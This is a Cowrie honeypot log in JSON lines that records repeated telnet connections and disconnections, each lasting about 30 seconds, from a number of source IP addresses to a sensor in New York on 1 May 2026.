{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":35384,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d74f0f759b0","protocol":"telnet","message":"New connection: 206.189.139.22:35384 (159.203.135.109:23) [session: 2d74f0f759b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:13.470915Z"}
{"eventid":"cowrie.session.closed","duration":30.397602081298828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:13.538451Z","src_ip":"168.119.91.149","session":"16b3d8b57c1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830483436584473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:13.705119Z","src_ip":"46.101.32.143","session":"ffbf184e3d03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.842315196990967,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:13.969550Z","src_ip":"81.30.157.18","session":"eea23d79809f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48240876197815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:14.079165Z","src_ip":"149.102.133.101","session":"c9e72e8b8051","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44668,"dst_ip":"159.203.135.109","dst_port":23,"session":"d44768b8a069","protocol":"telnet","message":"New connection: 81.30.157.18:44668 (159.203.135.109:23) [session: d44768b8a069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:14.250847Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":32804,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd6ccba6c096","protocol":"telnet","message":"New connection: 85.208.100.77:32804 (159.203.135.109:23) [session: bd6ccba6c096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:14.435037Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":57694,"dst_ip":"10.17.0.5","dst_port":23,"session":"81fce6e7569b","protocol":"telnet","message":"New connection: 69.65.3.189:57694 (10.17.0.5:23) [session: 81fce6e7569b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:14.445070Z"}
{"eventid":"cowrie.session.closed","duration":31.15629243850708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:14.734270Z","src_ip":"149.102.133.101","session":"4193af89981d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86051893234253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:15.063072Z","src_ip":"37.187.24.227","session":"522e64d6bf83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4549400806427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:15.182939Z","src_ip":"168.119.91.149","session":"7df7229c2f20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":57076,"dst_ip":"159.203.135.109","dst_port":23,"session":"81181115ca68","protocol":"telnet","message":"New connection: 37.187.24.227:57076 (159.203.135.109:23) [session: 81181115ca68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:15.192427Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43828,"dst_ip":"159.203.135.109","dst_port":23,"session":"fabcf927267e","protocol":"telnet","message":"New connection: 149.102.133.101:43828 (159.203.135.109:23) [session: fabcf927267e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:15.197843Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43838,"dst_ip":"159.203.135.109","dst_port":23,"session":"562ed0ddd86f","protocol":"telnet","message":"New connection: 149.102.133.101:43838 (159.203.135.109:23) [session: 562ed0ddd86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:15.406439Z"}
{"eventid":"cowrie.session.closed","duration":31.064807176589966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:15.415377Z","src_ip":"81.30.157.18","session":"d581f3ce1ef3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44680,"dst_ip":"159.203.135.109","dst_port":23,"session":"1abbb0a24b0f","protocol":"telnet","message":"New connection: 81.30.157.18:44680 (159.203.135.109:23) [session: 1abbb0a24b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:15.785215Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43852,"dst_ip":"159.203.135.109","dst_port":23,"session":"b078d1d9ff73","protocol":"telnet","message":"New connection: 149.102.133.101:43852 (159.203.135.109:23) [session: b078d1d9ff73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:16.103179Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":36688,"dst_ip":"159.203.135.109","dst_port":23,"session":"1baaafb5eaef","protocol":"telnet","message":"New connection: 85.208.100.77:36688 (159.203.135.109:23) [session: 1baaafb5eaef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:16.277184Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43868,"dst_ip":"159.203.135.109","dst_port":23,"session":"88aa3dceaae9","protocol":"telnet","message":"New connection: 149.102.133.101:43868 (159.203.135.109:23) [session: 88aa3dceaae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:16.314432Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44688,"dst_ip":"159.203.135.109","dst_port":23,"session":"0064e9255c85","protocol":"telnet","message":"New connection: 81.30.157.18:44688 (159.203.135.109:23) [session: 0064e9255c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:16.330753Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":36968,"dst_ip":"159.203.135.109","dst_port":23,"session":"c38b9c026728","protocol":"telnet","message":"New connection: 85.208.100.77:36968 (159.203.135.109:23) [session: c38b9c026728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:16.378459Z"}
{"eventid":"cowrie.session.closed","duration":30.517850399017334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:16.480651Z","src_ip":"168.119.91.149","session":"1aef7afa383e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":58492,"dst_ip":"10.17.0.5","dst_port":23,"session":"cde61b25d78a","protocol":"telnet","message":"New connection: 69.65.3.189:58492 (10.17.0.5:23) [session: cde61b25d78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:16.645087Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43872,"dst_ip":"159.203.135.109","dst_port":23,"session":"e66d9af10934","protocol":"telnet","message":"New connection: 149.102.133.101:43872 (159.203.135.109:23) [session: e66d9af10934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:17.194036Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":33864,"dst_ip":"159.203.135.109","dst_port":23,"session":"8be44734e7c9","protocol":"telnet","message":"New connection: 37.187.24.227:33864 (159.203.135.109:23) [session: 8be44734e7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:17.426293Z"}
{"eventid":"cowrie.session.closed","duration":30.70450234413147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:17.518402Z","src_ip":"168.119.91.149","session":"88c007c10011","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85480833053589,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.037860Z","src_ip":"37.187.24.227","session":"b50bb240f22e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79392409324646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.046291Z","src_ip":"37.187.24.227","session":"da4c8164304f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5472195148468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.058555Z","src_ip":"37.187.24.227","session":"95d3da63ca43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.743261337280273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.076607Z","src_ip":"81.30.157.18","session":"cd3829224eec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.506014108657837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.205944Z","src_ip":"206.189.139.22","session":"5e0ba261284e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":58394,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bb09ce2149c","protocol":"telnet","message":"New connection: 46.101.32.143:58394 (159.203.135.109:23) [session: 3bb09ce2149c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.212010Z"}
{"eventid":"cowrie.session.closed","duration":30.721033334732056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.216483Z","src_ip":"81.30.157.18","session":"7a6a6dd80e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":41482,"dst_ip":"159.203.135.109","dst_port":23,"session":"156adb1f6325","protocol":"telnet","message":"New connection: 82.163.78.83:41482 (159.203.135.109:23) [session: 156adb1f6325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.351298Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":41500,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf3e3863b1ec","protocol":"telnet","message":"New connection: 82.163.78.83:41500 (159.203.135.109:23) [session: cf3e3863b1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.359013Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44692,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f6be63a7675","protocol":"telnet","message":"New connection: 81.30.157.18:44692 (159.203.135.109:23) [session: 0f6be63a7675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.390442Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":36268,"dst_ip":"159.203.135.109","dst_port":23,"session":"835c03bc983c","protocol":"telnet","message":"New connection: 37.187.24.227:36268 (159.203.135.109:23) [session: 835c03bc983c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.412083Z"}
{"eventid":"cowrie.session.closed","duration":31.80263900756836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:18.830729Z","src_ip":"149.102.133.101","session":"b5652dbe5084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894586086273193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:19.087003Z","src_ip":"37.187.24.227","session":"d0c2beb4d09c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865265130996704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:19.158160Z","src_ip":"46.101.32.143","session":"339037af9d99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.504798650741577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:19.200708Z","src_ip":"206.189.139.22","session":"ab7f388ad723","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43884,"dst_ip":"159.203.135.109","dst_port":23,"session":"288e3236a79f","protocol":"telnet","message":"New connection: 149.102.133.101:43884 (159.203.135.109:23) [session: 288e3236a79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:19.252579Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":39244,"dst_ip":"10.17.0.5","dst_port":23,"session":"06a6d7b6567b","protocol":"telnet","message":"New connection: 103.115.172.252:39244 (10.17.0.5:23) [session: 06a6d7b6567b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:19.273669Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44696,"dst_ip":"159.203.135.109","dst_port":23,"session":"43a04052d82a","protocol":"telnet","message":"New connection: 81.30.157.18:44696 (159.203.135.109:23) [session: 43a04052d82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:19.296136Z"}
{"eventid":"cowrie.session.closed","duration":30.82825994491577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:19.503420Z","src_ip":"168.119.91.149","session":"b42a04f31ea0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44698,"dst_ip":"159.203.135.109","dst_port":23,"session":"9df02b1d2f14","protocol":"telnet","message":"New connection: 81.30.157.18:44698 (159.203.135.109:23) [session: 9df02b1d2f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:19.639277Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43886,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cfc1f7a9759","protocol":"telnet","message":"New connection: 149.102.133.101:43886 (159.203.135.109:23) [session: 2cfc1f7a9759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:19.684375Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":47606,"dst_ip":"159.203.135.109","dst_port":23,"session":"653bf43ccc39","protocol":"telnet","message":"New connection: 173.249.44.46:47606 (159.203.135.109:23) [session: 653bf43ccc39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:19.689647Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44710,"dst_ip":"159.203.135.109","dst_port":23,"session":"68834080ed5b","protocol":"telnet","message":"New connection: 81.30.157.18:44710 (159.203.135.109:23) [session: 68834080ed5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:20.022163Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43894,"dst_ip":"159.203.135.109","dst_port":23,"session":"f11a7b861cc3","protocol":"telnet","message":"New connection: 149.102.133.101:43894 (159.203.135.109:23) [session: f11a7b861cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:20.158265Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":33262,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3ad0d494cda","protocol":"telnet","message":"New connection: 46.101.32.143:33262 (159.203.135.109:23) [session: d3ad0d494cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:20.750253Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":46348,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d8c06ec5f1a","protocol":"telnet","message":"New connection: 85.208.100.77:46348 (159.203.135.109:23) [session: 6d8c06ec5f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:20.755481Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43902,"dst_ip":"159.203.135.109","dst_port":23,"session":"e777e2beb5f9","protocol":"telnet","message":"New connection: 149.102.133.101:43902 (159.203.135.109:23) [session: e777e2beb5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:20.820326Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44716,"dst_ip":"159.203.135.109","dst_port":23,"session":"582d42611f73","protocol":"telnet","message":"New connection: 81.30.157.18:44716 (159.203.135.109:23) [session: 582d42611f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:20.901236Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44724,"dst_ip":"159.203.135.109","dst_port":23,"session":"2982d19aa07d","protocol":"telnet","message":"New connection: 81.30.157.18:44724 (159.203.135.109:23) [session: 2982d19aa07d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:20.910992Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43912,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc7132f21baa","protocol":"telnet","message":"New connection: 149.102.133.101:43912 (159.203.135.109:23) [session: fc7132f21baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:20.916276Z"}
{"eventid":"cowrie.session.closed","duration":30.988095998764038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.061362Z","src_ip":"173.249.44.46","session":"02fdd7eab435","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765743732452393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.113238Z","src_ip":"85.208.100.77","session":"c658b4d9c23f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45589780807495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.132096Z","src_ip":"81.30.157.18","session":"38fb33fb9faa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":59482,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fe0d535f238","protocol":"telnet","message":"New connection: 69.65.3.189:59482 (10.17.0.5:23) [session: 0fe0d535f238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.147205Z"}
{"eventid":"cowrie.session.closed","duration":31.105178356170654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.184984Z","src_ip":"82.163.78.83","session":"68b24ad7a46c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43926,"dst_ip":"159.203.135.109","dst_port":23,"session":"6244a4d8b10b","protocol":"telnet","message":"New connection: 149.102.133.101:43926 (159.203.135.109:23) [session: 6244a4d8b10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.209218Z"}
{"eventid":"cowrie.session.closed","duration":30.814534425735474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.235983Z","src_ip":"46.101.32.143","session":"05f1eb18a834","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736045837402344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.473013Z","src_ip":"168.119.91.149","session":"5c11ad3dc958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":45082,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbe3576e8c22","protocol":"telnet","message":"New connection: 82.163.78.83:45082 (159.203.135.109:23) [session: bbe3576e8c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.478267Z"}
{"eventid":"cowrie.session.closed","duration":30.838165521621704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.564941Z","src_ip":"168.119.91.149","session":"845ad36b8dd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43956,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa31c9880d6a","protocol":"telnet","message":"New connection: 149.102.133.101:43956 (159.203.135.109:23) [session: aa31c9880d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.633329Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":45676,"dst_ip":"159.203.135.109","dst_port":23,"session":"00e7a574a203","protocol":"telnet","message":"New connection: 82.163.78.83:45676 (159.203.135.109:23) [session: 00e7a574a203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:21.980256Z"}
{"eventid":"cowrie.session.closed","duration":30.168828010559082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:22.079475Z","src_ip":"147.135.136.77","session":"942c898ddca0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916611433029175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:22.099265Z","src_ip":"46.101.32.143","session":"f74ebd9ebdea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.724504232406616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:22.116934Z","src_ip":"173.249.44.46","session":"de77bd4d6139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.977622747421265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:22.136666Z","src_ip":"82.163.78.83","session":"1da3a67bf407","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43970,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb640b8fc9a0","protocol":"telnet","message":"New connection: 149.102.133.101:43970 (159.203.135.109:23) [session: eb640b8fc9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:22.345563Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":46156,"dst_ip":"159.203.135.109","dst_port":23,"session":"47869d7808d3","protocol":"telnet","message":"New connection: 82.163.78.83:46156 (159.203.135.109:23) [session: 47869d7808d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:22.379287Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":44740,"dst_ip":"159.203.135.109","dst_port":23,"session":"a225b740b67f","protocol":"telnet","message":"New connection: 81.30.157.18:44740 (159.203.135.109:23) [session: a225b740b67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:22.454510Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":50688,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e4f6f4a6878","protocol":"telnet","message":"New connection: 85.208.100.77:50688 (159.203.135.109:23) [session: 3e4f6f4a6878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.010748Z"}
{"eventid":"cowrie.session.closed","duration":30.775019884109497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.052741Z","src_ip":"81.30.157.18","session":"4f67659ef138","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67738437652588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.065509Z","src_ip":"85.208.100.77","session":"89d6459ac8b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770119667053223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.135189Z","src_ip":"85.208.100.77","session":"3c933838b320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":43984,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2d434c22401","protocol":"telnet","message":"New connection: 149.102.133.101:43984 (159.203.135.109:23) [session: c2d434c22401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:58:23.141087Z"}
